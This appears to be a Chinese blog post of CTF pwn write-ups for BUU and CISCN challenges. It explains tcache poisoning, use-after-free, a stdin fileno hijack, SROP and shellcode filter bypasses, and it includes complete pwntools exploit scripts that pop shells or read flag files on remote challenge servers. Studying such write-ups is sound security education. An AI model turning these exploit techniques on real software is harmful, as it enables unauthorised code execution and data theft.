payload+=p64(heap_base+0x2000)#0x50 #free(heap_base+0x2000)
payload+=p64(heap_base+0x20a0)#0x60 #setcontext修改rsp
payload+=p64(heap_base+0x3000)#0x70
payload+=p64(heap_base+0x3060)#0x80 用于让rop链连接上

edit(index=0,content=payload)


pop_rdi_ret = 0x0215bf+libc.address
pop_rsi_ret = 0x23eea+libc.address
pop_rdx_ret = 0x01b96+libc.address
pop_rax_ret = 0x43ae8+libc.address
syscall_ret =  0xd2745+libc.address
syscall = 0x013c0+libc.address
ret = 0x8aa+libc.address
flag_addr = heap_base+0x1000

read_a = libc.sym['read']
write_a = libc.sym['write']
open_a = libc.sym['open']

# open size=0x38
orw = p64(pop_rdi_ret)+p64(flag_addr)
orw+= p64(pop_rsi_ret)+p64(0)
# orw+= p64(pop_rdx_ret)+p64(0)
orw+= p64(pop_rax_ret)+p64(2)
orw+=p64(syscall_ret)

#read size = 0x38
orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heap_base+0x1000)#存放地址0x50
orw+=p64(pop_rdx_ret)+p64(0x30)
orw+=p64(read_a)
#write size = 0x38
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(pop_rsi_ret)+p64(heap_base+0x1000)#存放地址0x50
orw+=p64(pop_rdx_ret)+p64(0x30)
orw+=p64(write_a)

setcontext = libc.sym['setcontext']+53
add(index=0,size=0x18)
edit(index=0,content=p64(setcontext))
add(index=0,size=0x38)
edit(index=0,content=b'/flag')
# delete(index=0)
# 写入orw,一个chunk大小不够,让两个chunk连接上
add(index=0,size=0x68)
edit(index=0,content=orw[:0x60])
add(index=0,size=0x78)
edit(index=0,content=orw[0x60:])

add(index=0,size=0x58)
edit(index=0,content=p64(heap_base+0x3000)+p64(ret))
#让rsp指向heap_base+0x3000,也就是存储了orw的rop的地方,一个ret可以让sectcontext的push rcx不破坏栈结构
add(index=0,size=0x48)
pause()
delete(index=0)
a=sh.recv()
print(a)

看别人的wp,说syscall不能带ret,会直接卡死,果然还是得要带ret才行,这道打通远程了!

7.buu starctf_2019_babyshell(shellcode)

img

img

只要绕过check就可以执行shellcode,check对我们写入的shellcode每一个字节和存储在unk_400978的字符串做比较,遍历这个字符串,如果当前shellcode的字节和字符串里任意字符匹配就继续,否则则返回0,要绕过也很简单,直接不进while就可以了,也就是说我们的shellcode以\x00开头就可以绕过check了,所以随便构造一个以\x00开头的指令就行了,我这里构造的是\x00\xc9,不要让程序卡住就行了。

img

给出exp:

from pwn import *
from LibcSearcher import *
#from ae64 import AE64
from ctypes import cdll

filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn',27124 )

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)


payload = b'\x00\xc9'+asm(shellcraft.sh())
sh.sendafter('give me shellcode, plz:',payload)
sh.interactive()

8.CISCN 2024华南分区赛pwn(高版本tcache利用,uaf)很有意思

听说是华南分区赛唯一一道pwn,舍友说很有有意思,发我让我做做,确实很有意思,自己想了很久很久,真菜啊,也正好学了一些高版本tcache的利用方法,记录一下

是一道保护全开的2.35堆题,经典的菜单题,但也有些不一样的

img

可以看到add中,我们只能控制最后一个申请的chunk,通过bss段上的buf指针来控制,这也是这道题的难点所在

img

delete有明显的uaf漏洞

img

show存在一个逐字节异或

img

有两个edit,第一个只能改八个字节,第二个可以改0x10个,并且给了后门函数的地址,直接给了system('bin/sh'),但这个修改0x10字节的edit只能用一次。用一次后bss上的flag被置零,就不能用了

img

img

看下来这道题漏洞百出,但要真想快速的利用还是不容易的,来看一下怎么做的

我们很容易的想到,想要利用uaf来做double free,但这是2.35,存在对double free的检测机制,从2.32开始,将chunk进行free放入tcache中的fd指针并不会直接存储下一个chunk的地址,而是做了一个异或操作,将要存储的地址,与堆地址右移12位后进行异或,再存入fd中,所以如果tcache中只有一个chunk时,fd存储的应该是0,0和堆地址右移进行异或,得到的就是堆地址右移12位的值,所以我们可以通过这个得到堆地址。以这道题为例这里显示不管我为什么要add再delete前面的,我们看0x68的:

img

img

可以看到,堆地址是0x560ae8baf000,而我们0x70大小的tcache的fd中存储的是0x560ae8baf,所以我们将这个值打印出来,再左移12位,就可以得到堆基址了 ,在这道题里,因为在show里有一个异或,所以我们再异或回去,就可以得到堆地址了,每次show都做一次这样的异或,就可以得到原始要show的信息了

img

img

同样的,我们还可以获得程序基地址,通过edit_1中给出backdoor地址可以求得:

img

得到了程序基地址,堆地址,我们还需要libc地址,接下来思考该怎么获得libc地址,首先想到的是通过unsortbin来泄露,但这道题因为只能控制最后一个chunk,而符合unsortbin大小的最后一个chunk在释放后都会和topchunkk进行合并,所以不能这样做,这时候,我们得到的程序基地址就可以起到很大的作用了,因为程序中有很多libc地址,比如got表,比如stdout等,现在的关键就是如何将其泄露出来。这里就要利用到UAF了,我们想要利用double free,但是因为是高版本,存在key值,所以我们不能够直接两次释放来实现,但我们可以通过uaf来直接修改已经在tcache中的chunk的fd指针,就可以直接指向我们想要的值了,如果直接将fd指向当前的chunk,就是double free了,但我们首先将fd指向tcache_ptheread_struct,修改tcache_entry,:

img

可以看到,通过我们的edit,我们已经让fd指向了堆地址,可以对tcache_entry进行修改,在高版本,每一个tcache链的entry是由两字节来记录的,而我们只能改前8个字节,所以我们只能改0x20-0x50的entry,在最开始申请这些大小并释放,就是为了在修改了entry后我们能从tcache中取出chunk来进行再利用。

img

img

我们现在用一次0x40大小的来泄露libc地址,start是程序基地址,我们申请一个0x38的chunk,再delete,通过修改,将stdout的地址放入fd,相当于将stdout放入了tcache,再两次申请将其取出,通过show,就可以得到libc地址了

img

img

得到libc后我们就要思考该如何利用了,这道题给出了后门函数,所以我们可以打栈,将后门函数覆盖栈上的返回地址,就可以成功了,通过environ,就可以得到栈地址,我们看一下栈上情况:

img

img

画红框的地方就是我们想覆盖为后门函数的地方,理想的想法是,我们把栈上的这个返回地址通过uaf放入tcache中,再取出写为后门函数地址,如果这样做会存在一个问题,我们利用0x20的chunk,将返回地址放入tcache,再取出,写上backdoor地址,看似很好,但问题在于,在2.32,还有一个保护机制,从 tcache 中取出 chunk 时会检测 chunk 地址是否对齐的保护,而这里的0x88并没对齐,需要是0x80或者0x90类似的才算对齐,而如果我们申请到rbp,虽然可以从tcache取出,但我们只能修改8字节,不能修改到返回地址处,这里就是最需要思考的地方了,该怎么绕过这个限制呢

img

img

我的想法是,通过uaf,直接对bss上的指针进行修改,直接将其放入tcache,再取出后直接修改其值为返回地址,这时候指针就指向返回地址了,相当于现在我们能控制的chunk就是返回地址这里,绕过了未对齐检测,就可以对返回地址进行修改了。

img

img

这里buf指向了buf,就可以修改实现chunk指针的任意控制,改为返回地址,就可以了:

最后,有遇到一个小问题:

img

img

已经进system了,segmentation fault了,原来是栈又没对齐,哈哈,没记住,太飞舞了,反正这样就打通了,给出exp:

from pwn import *
from LibcSearcher import *
#from ae64 import AE64
from ctypes import cdll

filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', )

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

choice_words = 'edit'

menu_add = 1
add_index_words = ''
add_size_words = 'size:'
add_content_words = ''

menu_del = 2
del_index_words = ''

menu_show = 3
show_index_words = ''

menu_edit = 4
edit_index_words = ''
edit_size_words = ''
edit_content_words = 'edit data:'

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    sh.sendafter('which one you choose?',b'1')
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
debug()
add(size=0x18)
delete()
add(size=0x28)
delete()
add(size=0x38)
delete()
add(size=0x48)
delete()
add(size=0x68)
add(size=0x68)
add(size=0x68)
delete()
show()
misc = sh.recvuntil('ma')[-9:-4]
print(misc)
result_bytes = bytearray()
for i, b in enumerate(misc):
    result_bytes.append(b ^ (i + 0x99))
print(result_bytes)
byt = result_bytes[::-1]
#异或值
heap = int.from_bytes(byt, byteorder='big', signed=False)
heap_base = heap<<12
leak_info('heap_base',heap_base)
# edit(content=p64(0)*2)
sh.sendlineafter('edit',str(5))
sh.recvuntil('magic address: ')
back =(sh.recvline())[:-1]
sh.send(p64(0)*2)
backdoor = int(back,16)
leak_info('backdoor',backdoor)
delete()
payload = p64(heap^(heap_base+0x10))
leak_info('misc',heap^(heap_base+0x10))
edit(content=payload)

add(size=0x68)
add(size=0x68)
#
edit(content=b'\x05\x00'*4)

#程序基地址
start = backdoor-0x12be
add(size=0x38)
leak_info('heap_base',heap_base)
leak_info('heap',heap)
leak_info('backdoor',backdoor)
leak_info('start',start)
stdout_addr = start+0x4020
#通过给出的backdoor地址计算出程序基地址,这样就可以找到got表
#或者stdout这样的libc地址了,通过任意地址申请泄露libc了
leak_info('stdout_addr',stdout_addr)
delete()
payload = p64(heap^(stdout_addr))
edit(content=payload)
add(size=0x38)
add(size=0x38)
show()
misc = sh.recvuntil('ma')[-9:-3]
print(misc)
result_bytes = bytearray()
for i, b in enumerate(misc):
    result_bytes.append(b ^ (i + 0x99))
print(result_bytes)
byt = result_bytes[::-1]
stdo = int.from_bytes(byt, byteorder='big', signed=False)
libc.address = stdo -0x21b780
leak_info('libc',libc.address)

environ = libc.sym['_environ']
leak_info('environ',environ)
add(size=0x48)
delete()
payload = p64(heap^(environ))
edit(content=payload)
add(size=0x48)
add(size=0x48)
show()
misc = sh.recvuntil('ma')[-9:-3]
print(misc)
result_bytes = bytearray()
for i, b in enumerate(misc):
    result_bytes.append(b ^ (i + 0x99))
print(result_bytes)
byt = result_bytes[::-1]
envi = int.from_bytes(byt, byteorder='big', signed=False)
leak_info('environ',envi)
rbp = envi-0x148
#-----------------
#检测限制,tcache不对齐
# add(size=0x18)
# delete()
# payload = p64(heap^(rbp+0x8))
# edit(content=payload)
# add(size=0x18)
# add(size=0x18)
# edit(content=p64(backdoor))
# pause()
#-----------------

#唯一指向当前chunk的指针buf
buf = start+0x4040
leak_info('buf',buf)
leak_info('rbp',rbp)
leak_info('backdoor',backdoor)
add(size=0x18)
delete()
payload = p64(heap^(buf))
edit(content=payload)
add(size=0x18)
add(size=0x18)
edit(content=p64(rbp+0x8))

#抬栈!!栈对齐!!还记不住,sbsbsb
edit(content=p64(backdoor+5))
# pause()
sh.interactive()

很有意思,也学到了一些东西,很不错的一道题,感觉讲的不是很清晰啊

9.BUU ciscn_2019_final_2(doublefree,fileno劫持)

很有意思的一道题,看了wp还是做了挺久的,记录一下,2.27的一道堆题,保护全开,加了沙箱,不能execve,虽然是一道菜单题,但也需要理清楚逻辑。

img

在init中有本题的重点:

img

读入flag后将其fd指针改为666,也就是将flag文件流重定向到666文件描述符,那么我们需要做的就是将其给读取出来,这里是利用stdin的_fileno,因为IO函数最终实现读(0)或写(1)都是依据其_fileno成员作为read或write系统调用的第一个参数,即文件描述符。

img

在allocate函数中,给出了两种malloc,一种大小0x20,一种0x10,每种分别给了一个指针,注意这个bool变量,存储在bss上

img

delete也是两种,在释放后会bool改为0,不让再释放,但很简单就能绕过,存在很明显的UAF漏洞

img

show函数只让用3次,且输出的是32位的%d,也就是说我们不能将chunk中的内容完整的泄露出来。

img

最后的byebye中,看似只是一个输入输出,但这里就是我们最后输出flag的地方。

那接下来就来看一下这道题是怎么做的:

因为存在UAF,又是2.27,所以很明显会想到利用这里,一样的,我们想要泄露libc,但因为malloc的大小是固定的,且我们只能控制最后一个chunk,所以我们需要其他办法来泄露libc。这道题的思路是这样的,在实现doublefree后,将tcache指向前置的chunk的size位,修改size,让其可以进入unosrtbin,从而泄露libc信息:

img

先来看怎么做到的,先到double free的地方:

img

这时候show就可以接收到这个chunk存储的0x55c0f12d32f0的两个低字节(因为是申请的0x10大小的chunk,show就只有这么多)接下来要做的也很简单,我们要修改一个chunk的size,在这里,我们要将0x55c0f12d3250这个chunk的大小改为0x90,申请的多余的0x20大小的chunk也是为了合并而不让堆空间乱掉,我们通过show,可以得到0xf0,通过偏移得到0x30大小的chunk的后两个字节,现在把tcache中的被doublefree的chunk取出并覆盖最后两字节

img

而我们知道,tcache是指向数据段的,但0x50这里是这个chunk的size字段,那么这时候再将其申请出来就是改他的size了,下图可以看到修改成功了,这里要注意,最开始一直写的是0x90会出错,卡了很久,因为0x90的话pre_inuse位为0,presize是0x90,后面想要释放这个chunk到unsortbin就会和被看做释放的pre_chunk进行unlink,而这个chunk前面是tcache_prethread_struct,pre_chunk并不存在,就会有问题。就会出错。

img

解决了这个问题就可以继续了,接下来就反复利用doublefree,将大小为0x90的tcache填满,再释放,就进入unsortbin了

img

img

那接下来我们就可以通过show来泄露libc信息了,但同样的,我们最多只能泄露其后四字节,图上就是0xbefd3ca0 ,我们无法完整的得到libc,但我们想要的_fileno(位置在&IO_2_1_stdin+0x70)的地址与main_arena的偏移是固定的,且相差不远。在这里再来理一下题目的思路,我们的目标是想要将_fileno的值覆盖为666,这样输入的时候就会把flag读入了。

img

所以我们可以利用后4字节和之前做的一样,把_fileno的后四字节算出后进行覆盖,让其进入tcache中,再取出就可以修改了,注意看,这时候的tcache中是有main_arena的残留的,所以我们只要修改这里就好了,但这样又有一个问题了,我们只能申请到0x20和0x30大小的chunk,怎么获取到这里的0x557110e9c250 呢,我们这时候如果申请一个chunk,将_fileno的后四字节写入,就会从unsortbin进行切割,我们的fileno就进入了tcache,而被切割剩余的unsortbin就没用了,将其申请掉

img

img

接下来再做一次doublefree,获得指向了_fileno的chunk的地址的后四字节

img

再将这个0x30大小的chunk取出,修改后四字节为指向了_fileno的chunk的地址,再这里也就是将0xc0覆盖为了0x60,再取两次,接下来就可以取出fileno了:

img

再取一次,修改值为666,就完成了!调用一次byebye,输出flag:

img

给出exp:

from pwn import *
from LibcSearcher import *
#from ae64 import AE64
from ctypes import cdll

filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 28409)

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

choice_words = '> '

menu_add = 1
add_index_words = ''
add_size_words = ''
add_content_words = 'number:'

menu_del = 2
del_index_words = ''

menu_show = 3
show_index_words = ''

menu_edit = 4
edit_index_words = 'Idx: '
edit_size_words = ''
edit_content_words = ''

def add(index=-1, size=-1,choice=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    sh.sendlineafter('>',str(choice))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, str(content))

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    sh.sendlineafter('>',str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    sh.sendlineafter('>',str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
debug()
add(choice=1,content=0x30)#chunk0
delete(index=1)
#多一些用于后续合并
add(choice=2,content=0x20)
add(choice=2,content=0x20)
add(choice=2,content=0x20)
add(choice=2,content=0x20)
delete(index=2)
add(choice=1,content=0x30)
delete(index=2)
show(index=2)
sh.recvuntil('inode number :')
#与补码与得到低地址两字节
low=int(sh.recvline().strip())
num=low& 0xFFFF

print(hex(num))
# chunk0的低两字节
chunk0_low2 = num-0xa0
#注意看源码,只会写两个字节,这样就只覆盖了后两字节
#变成了chunk0的地址(tcache中存放了指向size的地址)
add(choice=2,content=chunk0_low2)

add(choice=2,content=chunk0_low2)
#篡改了chunk0的size位,大于fastbin大小,可以进入unsortbin
#这里不能写成0x90,preinuse位为0的话,presize也是0x90,会触发unlink
#会将tcache_prethread_struct给unlink,造成错误
add(choice=2,content=0x91)

for i in range(7):
    delete(index=1)
    add(choice=2,content=0x10)
delete(index=1)

show(index=1)
sh.recvuntil('inode number :')
num=int(sh.recvline().strip())& 0xFFFFFFFF
stdin_low4 = num-0x2a0
fileno_low4 = num-0x2a0+0x70
#劫持_IO_2_1_stdin_结构体,修改文件描述符为666
leak_info('stdin_low4',stdin_low4)
leak_info('fileno_low4',fileno_low4)
#此时unsortbin中存有main_arena,取出修改的后四字节,改为fileno
#而同时这个在unosortbin中的chunk也在tcache中
#申请后unsortbin被切割,而tcache的main_arena被修改,成为fielno地址
#取出再修改为666,就可以读flag了
#这里就是再做一次上面的操作,将本来在0x90中的链接入0x30中
add(choice=1,content=fileno_low4)

add(choice=1,content=0x20)
add(choice=1,content=0x20)
delete(index=1)
add(choice=2,content=0x20)
delete(index=1)
show(index=1)
sh.recvuntil('inode number :')
#与补码与得到低地址4字节
chunk0_low4=(int(sh.recvline().strip())& 0xFFFFFFFF)-0x60
leak_info('chunk0_low4',chunk0_low4)

add(choice=1,content=chunk0_low4)
add(choice=1,content=0x10)
add(choice=1,content=0x10)
#fileno覆盖写为666
add(choice=1,content=666)

sh.sendlineafter('which command?\n> ', '4')
sh.recvuntil('your message :')
flag=sh.recvline()
print(flag)
# pause()

挺有意思的,国赛决赛题确实出的好

10.BUU rootersctf_2019_srop(srop)

64位srop,复习了一下srop,程序很简单,只有一个write和read,栈溢出,题目给了条件是srop,那就往这里想虽然没有给出系统调用号0xf,但有gadgets pop_rax_syscall,所以我们可以把0xf给pop到rax中并系统调用

img

img

那接下来就很简单了,构建两次srop,一次用于read,写入/bin/sh,一次用于execve就好了:

from pwn import *
from LibcSearcher import *
# from ae64 import AE64
from ctypes import cdll
from fallpwn import *
filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn',28583 )

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
pop_rax_syscall = 0x401032
leave_ret=0x401035
syscall = 0x401033
start = 0x401000
fake_stack = 0x402000
#read
sig = SigreturnFrame()
sig.rax = 0
sig.rdi = 0
sig.rsi = fake_stack
sig.rdx = 0x200
sig.rip = syscall
sig.rbp = fake_stack+0x10 #用于再次栈溢出,

payload = b'a'*0x88+p64(pop_rax_syscall)+p64(0xf)+bytes(sig)
# debug('b *0x401032')
sh.sendafter('CTF?',payload)
# pause()

sig1 = SigreturnFrame()
sig1.rax = constants.SYS_execve
sig1.rdi = fake_stack
sig1.rsi = 0
sig1.rdx = 0
sig1.rip = syscall
payload = b'/bin/sh\x00'+b'a'*(0x10-len('/bin/sh\x00')+8)
payload+= p64(pop_rax_syscall)+p64(0xf)+bytes(sig1)
sh.send(payload)
sh.interactive()
# pause()

11.BUU gyctf_2020_signin(calloc利用,有点类似fastbin reverse into tcache)

2.27的一道题,没开pie
image-20240703144313109

image-20240703144414927

在ptr存在的时候就getshell了,所以很简单,修改ptr的值就好了,存在bss段上,且没开PIE,接下来就该思考怎么修改了,注意这里有一个calloc,calloc 在分配后会自动进行清空,这是一个特点,还有一点,calloc不会从tcache里申请chunk,在这道题里很重要

img

add固定大小的chunk,在fastbin范围内会用一个flag来记录

img

delete存在UAF和double free,但用不了double free,因为会被用来记录的flag给阻止

img

edit,只能用一次,因为cnt初始值为0,用一次就小于0了

img

想一想思路,double free用不了,只能用UAF,且只能用一次,我们的目标是修改在bss上的ptr,这时候就需要用到calloc了,利用calloc不会从tcache中取的特性,首先将tcache 填满,将一个chunk释放到fastbin中,利用UAF修改这个chunk,让他的fd指针指向ptr,这样ptr就加入了fastbin中了,calloc申请出这个chunk,ptr就会被放入tcache中(提前申请一个chunk,让tcache不是满的),tcache 是后进先出,这时候ptr的fd就指向了本来就在tcache中的chunk,值就不是0了,就可以getshell了。

img

此时ptr进入fastbin

img

进入backdoor,使用一次calloc,可以看到ptr进入了tcache

img

img

成功getshell,给出exp:

from pwn import *
from LibcSearcher import *
#from ae64 import AE64
from ctypes import cdll

filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 29043)

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

choice_words = 'choice?'

menu_add = 1
add_index_words = 'idx?'
add_size_words = ''
add_content_words = ''

menu_del = 3
del_index_words = 'idx?'

menu_show = 33
show_index_words = 'Idx: '

menu_edit = 2
edit_index_words = 'idx?'
edit_size_words = ''
edit_content_words = ''

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
debug('b *0x0401494')
# debug()
for i in range(0,8):
    add(index=i)
for i in range(0,8):
    delete(index=i)
add(index=0)#让fastbin中的ptr进入tcache
ptr=0x4040C0
edit(index=7,content=p64(ptr-0x10))
sh.sendlineafter(choice_words, str(6))
sh.interactive()
pause()

简单,但又学到了东西,赢!知乎真的挺傻逼的,不想用了

标签:index,汇总,content,add,sh,words,wp,pwn,size
From: https://www.cnblogs.com/ahhoO/p/18281701

相关文章

  • WPF进度条中间写百分比数字
    我发现很多同学把思维固话了,通常我们需要实现的进度条是我在网上看到好多例子,但是都没有我的简单,他们不是重写ProcessBar就是使用模板,可以将TextBlock提取出来啊,灵活一点单独绑定然后一句代码Panel.ZIndex="1"就搞定了<StackPanel><ButtonContent="执行耗时......
  • DevExpress WPF中文教程:Grid - 如何显示摘要(设计时)?
    DevExpressWPF拥有120+个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpressWPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。无论是Office办公软件的衍伸产品,还是以数据为中心......
  • 【介绍下Pwn,什么是Pwn?】
    ......
  • WPF Image scalertransform translatetransform mvvm,custom delegate command Comman
    //xaml<Windowx:Class="WpfApp187.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.mi......
  • ffmpeg常用命令汇总
    最近在学习ffmpeg,将基础命令做一次汇总,便于自己以后查阅:1.ffmpeg常用命令ffmpeg帮助信息查看//查看ffmpeg的基础信息。ffmpeg--help//查看高级参数部分。ffmpeg--helplong//查看全部的帮助信息。ffmpeg--helpfull转封装//-hide_banner:隐去ffmpeg......
  • wpf关于Resource,Style的定义与引用,滑动按钮
    当我们使用wpf框架去搭建自己的程序时,一般都会重写wpf原生的一些样式,以达到软件风格的统一于美化,以下介绍一下常见的几种添加Style的方式我们以一个滑动按钮为例1.对当前控件的样式进行更改<ToggleButton><ToggleButton.Style><StyleTarg......
  • WPF 分隔栏分割窗体简单测试
    XAML:<Windowx:Class="WpfApp3.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.micro......
  • WPF 中 StackPanel 控件的可视化 Visibility.Collapsed 控件元素会自动前移
    XAML:<Grid><Grid.RowDefinitions><RowDefinition/><RowDefinitionHeight="Auto"/></Grid.RowDefinitions><StackPanelGrid.Row="0"><TextBoxx:Name="txb_001&quo......
  • C# HttpWebRequest 各种请求方式汇总
    GET//直接返回字符串publicstaticstringGets(stringurl,JObjectheaders){stringresult="";HttpWebRequestreq=(HttpWebRequest)WebRequest.Create(url);req.Method="Get";if(headers!=null){IEnumerable&......
  • iwpriv命令用法
    #iwpriv显示iwprivra0show[parameters]序号parameters说明1driverinfo驱动版本信息2statSTATX/RX等统计信息。3stainfoSTA信息,MAC地址/RSSI/MCS/Rate等。4stacountinfoSTATX/RX个数信息。5stasecinfoSTA认证加密信息。6bainfoBlockA......